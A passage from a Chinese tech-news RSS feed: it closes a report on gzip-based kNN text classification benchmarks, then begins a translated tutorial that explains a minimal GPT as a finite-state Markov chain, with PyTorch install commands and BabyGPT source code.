data-id=8be77eae-12da-4e9e-9a88-b7f5bae98c2e&gt;准确率&lt;/mark&gt;非常低）。结果显示，gzip 在除 YahooAnswers 之外的所有数据集上都高于或接近平均值。&lt;/section&gt;&lt;section&gt;&lt;br&gt;&lt;/section&gt;&lt;section&gt;&lt;img data-ratio="0.5451314854299929" src="https://image.jiqizhixin.com/uploads/editor/3275627e-e707-4a1e-8812-7d2f5c584304/640.png" data-type="png" data-w="1407" class="fr-fic fr-dib" style="width: 700%;"&gt;&lt;/section&gt;&lt;section&gt;&lt;br&gt;&lt;/section&gt;&lt;section&gt;&lt;strong&gt;在分布外（OOD）数据集上的结果&lt;/strong&gt;&lt;/section&gt;&lt;section&gt;&lt;br&gt;&lt;/section&gt;&lt;section&gt;下表 5 中，无需任何预训练或微调，gzip 在所有数据集上优于 BERT 和 mBERT。结果表明，gzip 在 OOD 数据集上优于预训练和非预训练&lt;mark data-type=tech_methods data-id=01946acc-d031-4c0e-909c-f062643b7273&gt;深度学习&lt;/mark&gt;方法，表明该方法在数据集分布方面具有通用性。&lt;/section&gt;&lt;section&gt;&lt;br&gt;&lt;/section&gt;&lt;section&gt;&lt;img data-ratio="0.29829104091144487" src="https://image.jiqizhixin.com/uploads/editor/944907f4-be3e-4725-b259-ddb5e700348a/640.png" data-type="png" data-w="1931" class="fr-fic fr-dib" style="width: 700%;"&gt;&lt;/section&gt;&lt;section&gt;&lt;br&gt;&lt;/section&gt;&lt;section&gt;&lt;strong&gt;少样本学习&lt;/strong&gt;&lt;/section&gt;&lt;section&gt;&lt;br&gt;&lt;/section&gt;&lt;section&gt;&lt;br&gt;&lt;/section&gt;&lt;section&gt;研究者还在少样本设置下比较 gzip 与&lt;mark data-type=tech_methods data-id=01946acc-d031-4c0e-909c-f062643b7273&gt;深度学习&lt;/mark&gt;方法，并在 AG News、DBpedia 和 SogouNews 上对非预训练和预训练深度&lt;mark data-type=tech_methods data-id=72b0bcc0-d8f9-4edd-919f-fa7c2560388c&gt;神经网络&lt;/mark&gt;进行实验。&lt;/section&gt;&lt;section&gt;&lt;br&gt;&lt;/section&gt;&lt;section&gt;结果如下图 2 所示，在三个数据集上，gzip 的性能优于设置为 5、10、50 的非预训练模型。当 shot 数量少至 n = 5 时，gzip 的性能大幅优于非预训练模型。其中在 AG News 5-shot 设置下，gzip 的&lt;mark data-type=concepts data-id=8be77eae-12da-4e9e-9a88-b7f5bae98c2e&gt;准确率&lt;/mark&gt;比 &lt;mark data-type=tech_methods data-id=b85e6cc3-2a33-4807-a39d-11039c65eea5&gt;fastText&lt;/mark&gt; 高出了 115%。&lt;/section&gt;&lt;section&gt;&lt;br&gt;&lt;/section&gt;&lt;section&gt;此外，在 100-shot 设置下，gzip 在 AG News 和 SogouNews 上的表现也优于非预训练模型，但在 DBpedia 上的表现稍差。&lt;/section&gt;&lt;section&gt;&lt;br&gt;&lt;/section&gt;&lt;section&gt;&lt;img data-ratio="0.27672634271099744" src="https://image.jiqizhixin.com/uploads/editor/21c662c1-c853-4666-8dbf-f8fffb027e3e/640.png" data-type="png" data-w="1955" class="fr-fic fr-dib" style="width: 700%;"&gt;&lt;/section&gt;&lt;section&gt;&lt;br&gt;&lt;/section&gt;&lt;section&gt;研究者进一步在五个 OOD 数据集上研究了 5-shot 设置下，gzip 与 DNN 方法的比较结果。结果显示，gzip 大大优于所有&lt;mark data-type=tech_methods data-id=01946acc-d031-4c0e-909c-f062643b7273&gt;深度学习&lt;/mark&gt;方法。在相应的数据集，该方法较 BERT &lt;mark data-type=concepts data-id=8be77eae-12da-4e9e-9a88-b7f5bae98c2e&gt;准确率&lt;/mark&gt;分别增加了 91%、40%、59%、58% 和 194%，较 mBERT &lt;mark data-type=concepts data-id=8be77eae-12da-4e9e-9a88-b7f5bae98c2e&gt;准确率&lt;/mark&gt;分别增加了 100%、67%、40%、12% 和 130%。&lt;/section&gt;&lt;section&gt;&lt;br&gt;&lt;/section&gt;&lt;section&gt;&lt;img data-ratio="0.30709476954945625" src="https://image.jiqizhixin.com/uploads/editor/92b9d00f-67b4-47ae-972b-2d18cc5e1756/640.png" data-type="png" data-w="1931" class="fr-fic fr-dib" style="width: 700%;"&gt;&lt;/section&gt;&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category />
      <guid isPermaLink="true">https://itindex.net/detail/62807-gzip-knn-%E6%96%87%E6%9C%AC</guid>
      <pubDate>Mon, 17 Jul 2023 14:27:44 CST</pubDate>
    </item>
    <item>
      <title>[译] GPT 是如何工作的：200 行 Python 代码实现一个极简 GPT（2023）</title>
      <link>https://itindex.net/detail/62762-gpt-%E5%B7%A5%E4%BD%9C-python</link>
      <description>&lt;h3&gt;译者序&lt;/h3&gt;

 &lt;p&gt;本文整理和翻译自 2023 年 Andrej Karpathy 的 twitter 和一篇文章：
  &lt;a href="https://colab.research.google.com/drive/1SiF0KZJp75rUeetKOWqpsA8clmHP6jMg"&gt;GPT as a finite-state markov chain&lt;/a&gt;。&lt;/p&gt;

 &lt;p&gt;Andrej Karpathy 博士 2015 毕业于斯坦福，之后先在 OpenAI 待了两年，是 OpenAI
的创始成员和研究科学家，2017 年加入 Tesla，带领 Tesla Autopilot 团队，
2022 年离职后在 Youtube 上科普人工智能相关技术，2023 年重新回归 OpenAI。&lt;/p&gt;

 &lt;p&gt;本文实际上是基于 PyTorch，并不是完全只用基础 Python 包实现一个 GPT。
主要目的是为了能让大家对 GPT 这样一个复杂系统的（不那么底层的）内部工作机制有个直观理解。&lt;/p&gt;

 &lt;p&gt;本文所用的完整代码见  &lt;a href="https://github.com/ArthurChiao/arthurchiao.github.io/tree/master/assets/code/gpt-as-a-finite-state-markov-chain"&gt;这里&lt;/a&gt;。&lt;/p&gt;

 &lt;p&gt;  &lt;strong&gt;译者水平有限，不免存在遗漏或错误之处。如有疑问，敬请查阅原文。&lt;/strong&gt;&lt;/p&gt;

 &lt;p&gt;以下是译文。&lt;/p&gt;

 &lt;hr&gt;&lt;/hr&gt;

 &lt;ul&gt;
    &lt;li&gt;   &lt;a href="https://arthurchiao.github.io/#&amp;#35793;&amp;#32773;&amp;#24207;"&gt;译者序&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;   &lt;a href="https://arthurchiao.github.io/#&amp;#25688;&amp;#35201;"&gt;摘要&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;   &lt;a href="https://arthurchiao.github.io/#1-&amp;#24341;&amp;#35328;"&gt;1 引言&lt;/a&gt;       &lt;ul&gt;
          &lt;li&gt;     &lt;a href="https://arthurchiao.github.io/#11-&amp;#26497;&amp;#31616;-gpttoken-&amp;#21482;&amp;#26377;-0-&amp;#21644;-1"&gt;1.1 极简 GPT：token 只有 0 和 1&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;     &lt;a href="https://arthurchiao.github.io/#12-&amp;#29366;&amp;#24577;&amp;#19978;&amp;#19979;&amp;#25991;&amp;#21644;&amp;#19978;&amp;#19979;&amp;#25991;&amp;#38271;&amp;#24230;"&gt;1.2 状态（上下文）和上下文长度&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;     &lt;a href="https://arthurchiao.github.io/#13-&amp;#29366;&amp;#24577;&amp;#31354;&amp;#38388;"&gt;1.3 状态空间&lt;/a&gt;             &lt;ul&gt;
                &lt;li&gt;       &lt;a href="https://arthurchiao.github.io/#131-&amp;#31616;&amp;#21270;&amp;#29256;&amp;#29366;&amp;#24577;&amp;#31354;&amp;#38388;"&gt;1.3.1 简化版状态空间&lt;/a&gt;&lt;/li&gt;
                &lt;li&gt;       &lt;a href="https://arthurchiao.github.io/#132-&amp;#30495;&amp;#23454;&amp;#29256;&amp;#29366;&amp;#24577;&amp;#31354;&amp;#38388;"&gt;1.3.2 真实版状态空间&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
          &lt;li&gt;     &lt;a href="https://arthurchiao.github.io/#14-&amp;#29366;&amp;#24577;&amp;#36716;&amp;#31227;"&gt;1.4 状态转移&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;     &lt;a href="https://arthurchiao.github.io/#15-&amp;#39532;&amp;#23572;&amp;#31185;&amp;#22827;&amp;#38142;"&gt;1.5 马尔科夫链&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
    &lt;li&gt;   &lt;a href="https://arthurchiao.github.io/#2-&amp;#20934;&amp;#22791;&amp;#24037;&amp;#20316;"&gt;2 准备工作&lt;/a&gt;       &lt;ul&gt;
          &lt;li&gt;     &lt;a href="https://arthurchiao.github.io/#21-&amp;#23433;&amp;#35013;-pytorch"&gt;2.1 安装 pytorch&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;     &lt;a href="https://arthurchiao.github.io/#22-babygpt-&amp;#28304;&amp;#30721;-babygptpy"&gt;2.2 BabyGPT 源码       &lt;code&gt;babygpt.py&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
    &lt;li&gt;   &lt;a href="https://arthurchiao.github.io/#3-&amp;#22522;&amp;#20110;-babygpt-&amp;#21019;&amp;#24314;&amp;#19968;&amp;#20010;-binary-gpt"&gt;3 基于 BabyGPT 创建一个 binary GPT&lt;/a&gt;       &lt;ul&gt;
          &lt;li&gt;     &lt;a href="https://arthurchiao.github.io/#31-&amp;#35774;&amp;#32622;-gpt-&amp;#21442;&amp;#25968;"&gt;3.1 设置 GPT 参数&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;     &lt;a href="https://arthurchiao.github.io/#32-&amp;#38543;&amp;#26426;&amp;#21021;&amp;#22987;&amp;#21270;"&gt;3.2 随机初始化&lt;/a&gt;             &lt;ul&gt;
                &lt;li&gt;       &lt;a href="https://arthurchiao.github.io/#321-&amp;#26597;&amp;#30475;&amp;#21021;&amp;#22987;&amp;#29366;&amp;#24577;&amp;#21644;&amp;#36716;&amp;#31227;&amp;#27010;&amp;#29575;"&gt;3.2.1 查看初始状态和转移概率&lt;/a&gt;&lt;/li&gt;
                &lt;li&gt;       &lt;a href="https://arthurchiao.github.io/#322-&amp;#29366;&amp;#24577;&amp;#36716;&amp;#31227;&amp;#22270;"&gt;3.2.2 状态转移图&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
          &lt;li&gt;     &lt;a href="https://arthurchiao.github.io/#33-&amp;#35757;&amp;#32451;"&gt;3.3 训练&lt;/a&gt;             &lt;ul&gt;
                &lt;li&gt;       &lt;a href="https://arthurchiao.github.io/#331-&amp;#36755;&amp;#20837;&amp;#24207;&amp;#21015;&amp;#39044;&amp;#22788;&amp;#29702;"&gt;3.3.1 输入序列预处理&lt;/a&gt;&lt;/li&gt;
                &lt;li&gt;       &lt;a href="https://arthurchiao.github.io/#332-&amp;#24320;&amp;#22987;&amp;#35757;&amp;#32451;"&gt;3.3.2 开始训练&lt;/a&gt;&lt;/li&gt;
                &lt;li&gt;       &lt;a href="https://arthurchiao.github.io/#333-&amp;#35757;&amp;#32451;&amp;#20043;&amp;#21518;&amp;#30340;&amp;#29366;&amp;#24577;&amp;#36716;&amp;#31227;&amp;#27010;&amp;#29575;&amp;#22270;"&gt;3.3.3 训练之后的状态转移概率图&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
          &lt;li&gt;     &lt;a href="https://arthurchiao.github.io/#34-&amp;#37319;&amp;#26679;&amp;#25512;&amp;#29702;"&gt;3.4 采样（推理）&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;     &lt;a href="https://arthurchiao.github.io/#35-&amp;#23436;&amp;#25972;&amp;#31034;&amp;#20363;"&gt;3.5 完整示例&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
    &lt;li&gt;   &lt;a href="https://arthurchiao.github.io/#4-&amp;#38382;&amp;#39064;&amp;#35752;&amp;#35770;"&gt;4 问题讨论&lt;/a&gt;       &lt;ul&gt;
          &lt;li&gt;     &lt;a href="https://arthurchiao.github.io/#41-&amp;#35789;&amp;#20856;&amp;#22823;&amp;#23567;&amp;#21644;&amp;#19978;&amp;#19979;&amp;#25991;&amp;#38271;&amp;#24230;"&gt;4.1 词典大小和上下文长度&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;     &lt;a href="https://arthurchiao.github.io/#42-&amp;#27169;&amp;#22411;&amp;#23545;&amp;#27604;&amp;#35745;&amp;#31639;&amp;#26426;-vs-gpt"&gt;4.2 模型对比：计算机 vs. GPT&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;     &lt;a href="https://arthurchiao.github.io/#43-&amp;#27169;&amp;#22411;&amp;#21442;&amp;#25968;&amp;#22823;&amp;#23567;gpt-234"&gt;4.3 模型参数大小（GPT 2/3/4）&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;     &lt;a href="https://arthurchiao.github.io/#44-&amp;#22806;&amp;#37096;&amp;#36755;&amp;#20837;io-&amp;#35774;&amp;#22791;"&gt;4.4 外部输入（I/O 设备）&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;     &lt;a href="https://arthurchiao.github.io/#45-ai-&amp;#23433;&amp;#20840;"&gt;4.5 AI 安全&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
    &lt;li&gt;   &lt;a href="https://arthurchiao.github.io/#5-&amp;#20854;&amp;#20182;vocab_size3context_length2-babygpt"&gt;5 其他：    &lt;code&gt;vocab_size=3,context_length=2&lt;/code&gt; BabyGPT&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

 &lt;hr&gt;&lt;/hr&gt;

 &lt;h1&gt;摘要&lt;/h1&gt;

 &lt;p&gt;本文展示了一个极简 GPT，它只有 2 个 token   &lt;code&gt;0&lt;/code&gt; 和   &lt;code&gt;1&lt;/code&gt;，上下文长度为 3；
这样的 GPT 可以看做是一个有限状态马尔可夫链（FSMC）。
我们将用 token sequence   &lt;code&gt;111101111011110&lt;/code&gt; 作为输入对这个极简 GPT 训练 50 次，
得到的状态转移概率符合我们的预期。&lt;/p&gt;

 &lt;p align="center"&gt;  &lt;img height="45%" src="https://arthurchiao.github.io/assets/img/gpt-as-a-finite-state-markov-chain/states-2.png" width="45%"&gt;&lt;/img&gt;&lt;/p&gt;

 &lt;p&gt;例如，&lt;/p&gt;

 &lt;ol&gt;
    &lt;li&gt;在训练数据中，状态    &lt;code&gt;101 -&amp;gt; 011&lt;/code&gt; 的概率是 100%，因此我们看到训练之后的模型中，
     &lt;code&gt;101 -&amp;gt; 011 &lt;/code&gt;的转移概率很高（79%，没有达到 100% 是因为我们只做了 50 步迭代）；&lt;/li&gt;
    &lt;li&gt;在训练数据中，状态    &lt;code&gt;111 -&amp;gt; 111&lt;/code&gt; 和    &lt;code&gt;111 -&amp;gt; 110&lt;/code&gt; 的概率分别是 50%；
  在训练之后的模型中，两个转移概率分别为 45% 和 55%，也差不多是一半一半；&lt;/li&gt;
    &lt;li&gt;在训练数据中没有出现    &lt;code&gt;000&lt;/code&gt; 这样的状态，在训练之后的模型中，
  它转移到    &lt;code&gt;001&lt;/code&gt; 和    &lt;code&gt;000&lt;/code&gt; 的概率并不是平均的，而是差异很大（73% 到 001，27% 到 000），
  这是 Transformer 内部 inductive bias 的结果，也符合预期。&lt;/li&gt;
&lt;/ol&gt;

 &lt;p&gt;希望这个极简模型能让大家对 GPT 这样一个复杂系统的内部工作机制有个直观的理解。&lt;/p&gt;

 &lt;h1&gt;1 引言&lt;/h1&gt;

 &lt;p&gt;GPT 是一个神经网络，根据  &lt;strong&gt;输入的 token sequence&lt;/strong&gt;（例如，  &lt;code&gt;1234567&lt;/code&gt;）
来预测  &lt;strong&gt;下一个 token 出现的概率&lt;/strong&gt;。&lt;/p&gt;

 &lt;h2&gt;1.1 极简 GPT：token 只有 0 和 1&lt;/h2&gt;

 &lt;p&gt;如果所有可能的 token 只有两个，分别是   &lt;code&gt;0&lt;/code&gt; 和   &lt;code&gt;1&lt;/code&gt;，那这就是一个   &lt;strong&gt;binary GPT&lt;/strong&gt;，&lt;/p&gt;

 &lt;ul&gt;
    &lt;li&gt;   &lt;strong&gt;输入&lt;/strong&gt;：由 0 和 1 组成的一串 token，例如    &lt;code&gt;100011111&lt;/code&gt;，&lt;/li&gt;
    &lt;li&gt;   &lt;strong&gt;输出&lt;/strong&gt;：“下一个 token 是 0 的概率”（   &lt;code&gt;P(0)&lt;/code&gt;）和“下一个 token 是 1 的概率”（   &lt;code&gt;P(1)&lt;/code&gt;）。&lt;/li&gt;
&lt;/ul&gt;

 &lt;p&gt;例如，如果已经输入的 token sequence 是   &lt;code&gt;010&lt;/code&gt;（即 GPT 接受的输入是   &lt;code&gt;[0,1,0]&lt;/code&gt;），
那它可能根据自身当前的一些参数和状态，计算出“下一个 token 为 1 的可能性”是 80%，即&lt;/p&gt;

 &lt;ul&gt;
    &lt;li&gt;P(0) = 20%&lt;/li&gt;
    &lt;li&gt;P(1) = 80%&lt;/li&gt;
&lt;/ul&gt;

 &lt;h2&gt;1.2 状态（上下文）和上下文长度&lt;/h2&gt;

 &lt;p&gt;上面的例子中，我们是用三个相邻的 token 来预测下一个 token 的，那&lt;/p&gt;

 &lt;ul&gt;
    &lt;li&gt;三个 token 就组成这个 GPT 的一个   &lt;strong&gt;上下文&lt;/strong&gt;（context），也是 GPT 的一个   &lt;strong&gt;状态&lt;/strong&gt;，&lt;/li&gt;
    &lt;li&gt;   &lt;code&gt;3&lt;/code&gt; 就是   &lt;strong&gt;上下文长度（context length）&lt;/strong&gt;。&lt;/li&gt;
&lt;/ul&gt;

 &lt;p&gt;从定义来说，如果上下文长度为 3（个 token），那么 GPT 在预测时  &lt;strong&gt;最多&lt;/strong&gt;只能使用
3 个 token（但可以只使用 1 或 2 个）。&lt;/p&gt;

 &lt;p&gt;一般来说，GPT 的输入可以无限长，但  &lt;strong&gt;上下文长度是有限的&lt;/strong&gt;。&lt;/p&gt;

 &lt;h2&gt;1.3 状态空间&lt;/h2&gt;

 &lt;p&gt;状态空间就是 GPT 需要处理的  &lt;strong&gt;所有可能的状态&lt;/strong&gt;组成的集合。&lt;/p&gt;

 &lt;p&gt;为了表示状态空间的大小，我们引入两个变量：&lt;/p&gt;

 &lt;ul&gt;
    &lt;li&gt;   &lt;strong&gt;    &lt;code&gt;vocab_size&lt;/code&gt;&lt;/strong&gt;（vocabulary size，字典空间）：   &lt;strong&gt;单个 token 有多少种可能的值&lt;/strong&gt;，
例如上面提到的 binary GPT 每个 token 只有 0 和 1 这两个可能的取值；&lt;/li&gt;
    &lt;li&gt;   &lt;strong&gt;    &lt;code&gt;context_length&lt;/code&gt;&lt;/strong&gt;：上下文长度，用    &lt;code&gt;token&lt;/code&gt; 个数来表示，例如 3 个 token。&lt;/li&gt;
&lt;/ul&gt;

 &lt;h3&gt;1.3.1 简化版状态空间&lt;/h3&gt;

 &lt;p&gt;先来看简化版的状态空间：只包括那些长度等于 context_length 的 token sequence。
用公式来计算的话，总状态数量等于字典空间（  &lt;code&gt;vocab_size&lt;/code&gt;）的幂次（  &lt;code&gt;context_length&lt;/code&gt;），即，&lt;/p&gt;

 &lt;p align="center"&gt;  &lt;code&gt;total_states = vocab_size   &lt;sup&gt;context_length&lt;/sup&gt;&lt;/code&gt;&lt;/p&gt;

 &lt;p&gt;对于前面提到的例子，&lt;/p&gt;

 &lt;ul&gt;
    &lt;li&gt;   &lt;code&gt;vocab_size     = 2&lt;/code&gt;：token 可能的取值是    &lt;code&gt;0&lt;/code&gt; 和    &lt;code&gt;1&lt;/code&gt;，总共两个；&lt;/li&gt;
    &lt;li&gt;   &lt;code&gt;context_length = 3 tokens&lt;/code&gt;：上下文长度是 3 个 token；&lt;/li&gt;
&lt;/ul&gt;

 &lt;p&gt;总的状态数量就是   &lt;code&gt;2   &lt;sup&gt;3&lt;/sup&gt; = 8&lt;/code&gt;。这也很好理解，所有状态枚举就能出来：
{  &lt;code&gt;000&lt;/code&gt;,   &lt;code&gt;001&lt;/code&gt;,   &lt;code&gt;010&lt;/code&gt;,   &lt;code&gt;011&lt;/code&gt;,   &lt;code&gt;100&lt;/code&gt;,   &lt;code&gt;101&lt;/code&gt;,   &lt;code&gt;110&lt;/code&gt;,   &lt;code&gt;111&lt;/code&gt;}。&lt;/p&gt;

 &lt;h3&gt;1.3.2 真实版状态空间&lt;/h3&gt;

 &lt;p&gt;在真实 GPT 中，预测下一个 token 只需要输入一个小于等于   &lt;code&gt;context_length&lt;/code&gt; 的 token 序列就行了，
比如在我们这个例子中，要预测下一个 token，可以输入  &lt;strong&gt;一个，两个或三个&lt;/strong&gt; token，而不是必须输入三个 token 才能预测。
所以在这种情况下，状态空间并不是 2^3=8，而是输入 token 序列长度分别为 1、2、3 情况下所有状态的总和，&lt;/p&gt;

 &lt;ul&gt;
    &lt;li&gt;token sequence 长度为 1：总共 2^1 = 2 个状态&lt;/li&gt;
    &lt;li&gt;token sequence 长度为 2：总共 2^2 = 4 个状态&lt;/li&gt;
    &lt;li&gt;token sequence 长度为 3：总共 2^3 = 8 个状态&lt;/li&gt;
&lt;/ul&gt;

 &lt;p&gt;因此总共 14 状态，状态空间为
{  &lt;code&gt;0&lt;/code&gt;,   &lt;code&gt;1&lt;/code&gt;,   &lt;code&gt;00&lt;/code&gt;,   &lt;code&gt;01&lt;/code&gt;,   &lt;code&gt;10&lt;/code&gt;,   &lt;code&gt;11&lt;/code&gt;,   &lt;code&gt;000&lt;/code&gt;,   &lt;code&gt;001&lt;/code&gt;,   &lt;code&gt;010&lt;/code&gt;,   &lt;code&gt;011&lt;/code&gt;,   &lt;code&gt;100&lt;/code&gt;,   &lt;code&gt;101&lt;/code&gt;,   &lt;code&gt;110&lt;/code&gt;,   &lt;code&gt;111&lt;/code&gt;}。&lt;/p&gt;

 &lt;p&gt;为了后面代码方便，  &lt;strong&gt;本文接下来将使用简化版状态空间&lt;/strong&gt;，即假设我们必须输入一个
长度为 context_length 的 token 序列才能预测下一个 token。&lt;/p&gt;

 &lt;h2&gt;1.4 状态转移&lt;/h2&gt;

 &lt;p&gt;可以将 binary GPT 想象成抛硬币：&lt;/p&gt;

 &lt;ul&gt;
    &lt;li&gt;正面朝上表示 token=1，反面朝上表示 token=0；&lt;/li&gt;
    &lt;li&gt;新来一个 token 时，将更新 context：将新 token 追加到最右边，然后把最左边的 token 去掉，从而得到一个新 context；&lt;/li&gt;
&lt;/ul&gt;

 &lt;p&gt;从 old context（例如   &lt;code&gt;010&lt;/code&gt;）到 new context（例如   &lt;code&gt;101&lt;/code&gt;）就称为一次  &lt;strong&gt;状态转移&lt;/strong&gt;。&lt;/p&gt;

 &lt;h2&gt;1.5 马尔科夫链&lt;/h2&gt;

 &lt;p&gt;根据以上分析，我们的简化版 GPT 其实就是一个  &lt;strong&gt;有限状态马尔可夫链&lt;/strong&gt;（
Finite State Markov Chain）：  &lt;strong&gt;一组有限状态&lt;/strong&gt;和  &lt;strong&gt;它们之间的转移概率&lt;/strong&gt;，&lt;/p&gt;

 &lt;ul&gt;
    &lt;li&gt;Token sequence（例如 [0,1,0]）组成状态集合，&lt;/li&gt;
    &lt;li&gt;从一个状态到另一个状态的转换是转移概率。&lt;/li&gt;
&lt;/ul&gt;

 &lt;p&gt;接下来我们通过代码来看看它是如何工作的。&lt;/p&gt;

 &lt;h1&gt;2 准备工作&lt;/h1&gt;

 &lt;h2&gt;2.1 安装 pytorch&lt;/h2&gt;

 &lt;p&gt;本文将基于 PyTorch 来实现我们的 GPT。这里直接安装纯 CPU 版本（不需要 GPU），方便测试：&lt;/p&gt;

 &lt;div&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;$ pip3 install torch torchvision -i https://pypi.mirrors.ustc.edu.cn/simple # 用国内源加速
$ pip3 install graphviz -i https://pypi.mirrors.ustc.edu.cn/simple
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

 &lt;h2&gt;2.2 BabyGPT 源码   &lt;code&gt;babygpt.py&lt;/code&gt;&lt;/h2&gt;

 &lt;p&gt;这里基于 PyTorch 用 100 多行代码实现一个简易版 GPT，
代码不懂没关系，可以把它当黑盒，&lt;/p&gt;

 &lt;div&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;#@title minimal GPT implementation in PyTorch
&amp;quot;&amp;quot;&amp;quot; super minimal decoder-only gpt &amp;quot;&amp;quot;&amp;quot;

import math
from dataclasses import dataclass
import torch
import torch.nn as nn
from torch.nn import functional as F

torch.manual_seed(1337)

class CausalSelfAttention(nn.Module):
    def __init__(self, config):
        super().__init__()
        assert config.n_embd % config.n_head == 0
        # key, query, value projections for all heads, but in a batch
        self.c_attn = nn.Linear(config.n_embd, 3 * config.n_embd, bias=config.bias)
        # output projection
        self.c_proj = nn.Linear(config.n_embd, config.n_embd, bias=config.bias)
        # regularization
        self.n_head = config.n_head
        self.n_embd = config.n_embd
        self.register_buffer(&amp;quot;bias&amp;quot;, torch.tril(torch.ones(config.block_size, config.block_size))
                                    .view(1, 1, config.block_size, config.block_size))

    def forward(self, x):
        B, T, C = x.size() # batch size, sequence length, embedding dimensionality (n_embd)

        # calculate query, key, values for all heads in batch and move head forward to be the batch dim
        q, k ,v  = self.c_attn(x).split(self.n_embd, dim=2)
        k = k.view(B, T, self.n_head, C // self.n_head).transpose(1, 2) # (B, nh, T, hs)
        q = q.view(B, T, self.n_head, C // self.n_head).transpose(1, 2) # (B, nh, T, hs)
        v = v.view(B, T, self.n_head, C // self.n_head).transpose(1, 2) # (B, nh, T, hs)

        # manual implementation of attention
        att = (q @ k.transpose(-2, -1)) * (1.0 / math.sqrt(k.size(-1)))
        att = att.masked_fill(self.bias[:,:,:T,:T] == 0, float(&amp;apos;-inf&amp;apos;))
        att = F.softmax(att, dim=-1)
        y = att @ v # (B, nh, T, T) x (B, nh, T, hs) -&amp;gt; (B, nh, T, hs)
        y = y.transpose(1, 2).contiguous().view(B, T, C) # re-assemble all head outputs side by side

        # output projection
        y = self.c_proj(y)
        return y

class MLP(nn.Module):
    def __init__(self, config):
        super().__init__()
        self.c_fc    = nn.Linear(config.n_embd, 4 * config.n_embd, bias=config.bias)
        self.c_proj  = nn.Linear(4 * config.n_embd, config.n_embd, bias=config.bias)
        self.nonlin = nn.GELU()

    def forward(self, x):
        x = self.c_fc(x)
        x = self.nonlin(x)
        x = self.c_proj(x)
        return x

class Block(nn.Module):
    def __init__(self, config):
        super().__init__()
        self.ln_1 = nn.LayerNorm(config.n_embd)
        self.attn = CausalSelfAttention(config)
        self.ln_2 = nn.LayerNorm(config.n_embd)
        self.mlp = MLP(config)

    def forward(self, x):
        x = x + self.attn(self.ln_1(x))
        x = x + self.mlp(self.ln_2(x))
        return x

@dataclass
class GPTConfig:
    # these are default GPT-2 hyperparameters
    block_size: int = 1024
    vocab_size: int = 50304
    n_layer: int = 12
    n_head: int = 12
    n_embd: int = 768
    bias: bool = False

class GPT(nn.Module):
    def __init__(self, config):
        super().__init__()
        assert config.vocab_size is not None
        assert config.block_size is not None
        self.config = config

        self.transformer = nn.ModuleDict(dict(
            wte = nn.Embedding(config.vocab_size, config.n_embd),
            wpe = nn.Embedding(config.block_size, config.n_embd),
            h = nn.ModuleList([Block(config) for _ in range(config.n_layer)]),
            ln_f = nn.LayerNorm(config.n_embd),
        ))
        self.lm_head = nn.Linear(config.n_embd, config.vocab_size, bias=False)
        self.transformer.wte.weight = self.lm_head.weight # https://paperswithcode.com/method/weight-tying

        # init all weights
        self.apply(self._init_weights)
        # apply special scaled init to the residual projections, per GPT-2 paper
        for pn, p in self.named_parameters():
            if pn.endswith(&amp;apos;c_proj.weight&amp;apos;):
                torch.nn.init.normal_(p, mean=0.0, std=0.02/math.sqrt(2 * config.n_layer))

        # report number of parameters
        print(&amp;quot;number of parameters: %d&amp;quot; % (sum(p.nelement() for p in self.parameters()),))

    def _init_weights(self, module):
        if isinstance(module, nn.Linear):
            torch.nn.init.normal_(module.weight, mean=0.0, std=0.02)
            if module.bias is not None:
                torch.nn.init.zeros_(module.bias)
        elif isinstance(module, nn.Embedding):
            torch.nn.init.normal_(module.weight, mean=0.0, std=0.02)

    def forward(self, idx):
        device = idx.device
        b, t = idx.size()
        assert t &amp;lt;= self.config.block_size, f&amp;quot;Cannot forward sequence of length {t}, block size is only {self.config.block_size}&amp;quot;
        pos = torch.arange(0, t, dtype=torch.long, device=device).unsqueeze(0) # shape (1, t)

        # forward the GPT model itself
        tok_emb = self.transformer.wte(idx) # token embeddings of shape (b, t, n_embd)
        pos_emb = self.transformer.wpe(pos) # position embeddings of shape (1, t, n_embd)
        x = tok_emb + pos_emb
        for block in self.transformer.h:
            x = block(x)
        x = self.transformer.ln_f(x)
        logits = self.lm_head(x[:, -1, :]) # note: only returning logits at the last time step (-1), output is 2D (b, vocab_size)
        return logits
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

 &lt;p&gt;接下来我们写一些 python 代码来基于这个 GPT 做训练和推理。&lt;/p&gt;

 &lt;h1&gt;3 基于 BabyGPT 创建一个 binary GPT&lt;/h1&gt;

 &lt;h2&gt;3.1 设置 GPT 参数&lt;/h2&gt;

 &lt;p&gt;首先初始化配置，&lt;/p&gt;

 &lt;div&gt;  &lt;div&gt;   &lt;pre&gt;    &lt;code&gt;# hyperparameters for our GPT
vocab_size = 2     # 词汇表 size 为 2，因此只有两个可能的 token：0 和 1
context_length = 3 # 上下文长度位 3，即只用 3 个 bit 来预测下一个 token 出现的概率

config = GPTConfig(
    block_size = context_length,
